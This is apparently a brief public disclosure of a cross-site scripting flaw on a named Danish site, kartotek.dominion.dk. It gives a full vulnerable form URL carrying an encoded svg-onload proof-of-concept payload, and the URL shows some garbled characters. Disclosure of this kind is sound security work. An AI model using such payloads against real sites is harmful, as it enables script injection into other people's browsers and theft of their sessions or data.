kartotek.dominion.dk XSS vulnerability

Vulnerable URL: https://kartotek.dominion.dk/iframeform.php?subscriptionid=34=4a72497307f6b9b=style.css&〈name=Fulde+navn〈email=Email〈phoneno=Tlf+nr.〈submit=Tilmeld=1F1704=xss%22%3E%3Csvg/onload=prompt%27openbugbounty%27%3E〈inlinecss=.containertext-align:center; Details: Description| Value ---|---...